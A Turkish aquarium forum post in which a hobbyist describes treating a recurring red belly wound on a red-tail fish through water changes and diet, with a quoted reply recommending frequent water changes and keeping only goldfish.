Sizinle temasımdan beri söylediğiniz her şeyi takip etmeye çalıştım. En geç 4 - 5 günde bir %40 su değişimi yapıyorum ve filtreleride ihmal etmiyorum.
Tank içinde ki gereksiz aksesuarları dekorları en aza indirdim.
Yemleme konusunda dikkatli olmaya ve Hemen hemen her akşam bir haşlanmış sebze önerilerinizden birini vermeye çalışıyorum. Haftada bir gün aç bırakıyorum.
İç parazit korkusuyla Arada sarımsaklı hazır yem veriyordum onu kestim. Belki sarımsak yormuş olabilir diye düşünüyordum.
İlk hafta hastalıkta hafif bir yavaşlama oldu. Sonra kırmızı kuyruğun karnındaki, içeriden gelen kırmızı yara hatrı sayılır şekilde azalmaya başlamıştı. Fakat bugün yaranın aynı yerden tekrar hareketlendiğini gördüm. Su değişimini ilk defa 5 gün arayla yaptım acaba bu gecikmeden mi olmuştur bilmiyorum. Daha sıkmı değişmeliyim.?
Bir umut acaba bu TB Değil galiba demeye başladım sayenizde. Ve çözüme yaklaşacağıma inanıyorudum ki Ama şuan yine belirtiler hareketlenince kafalar karıştı.
Balıkların uyumsuzlukları konusunda malesef satıcı bey hiç bilgilendirmedi beni. Bakan bakıyor gibi yaklaşımlarla geçti konun üzerinden. Kırmızı Kuyruk şu ara uyumsuzluk konusunda çok göze batıyor. Hastalığınında etkisi var sanırım. İyileştirmeden bir yere vermek istemem. Çok karamsar değil iyi kötü anlaşıyorlar çünkü.
Eldeki imkanlarla savaşmaya devam.
Varsa tespit yada öneriler dostlar bizleri çok mutlu edersiniz.
Sevgiler.
[QUOTE=mesutok]Yeni kurulum akvaryumlarda amonyak zehirlenmeleri olabilir. Siz yinede, 100 litre ise akvaryum haftada bir yüzde 50 su değişimleriyle devam edin, filtre bakımlarınıda ihmal etmeyin. Düzelmeler olabilir, dışkıdaki baloncuklar hazımsızlık ve sudaki kirlilik yani amonyak gibi etmenlerin balıkları etkilenmesindende olabilir, yine kurulumlarda birçok aksakık olabilir. Uyumsuz türler koi örneğin akvaryumda beslenmez çok irileşen balıklar. Tek olarak japon türü beslemenizi önerirdim başlangıçta. Dipte elma salyangozu, cüce vatoz olabilir, onun haricindeki balıklar japonlarla uyumsuz.[/QUOTE]
Beğenenler: [T]72854,mesutok[/T]
Üye imzalarını sadece giriş yapan üyelerimiz görebilir
Üye imzalarını sadece giriş yapan üyelerimiz görebilir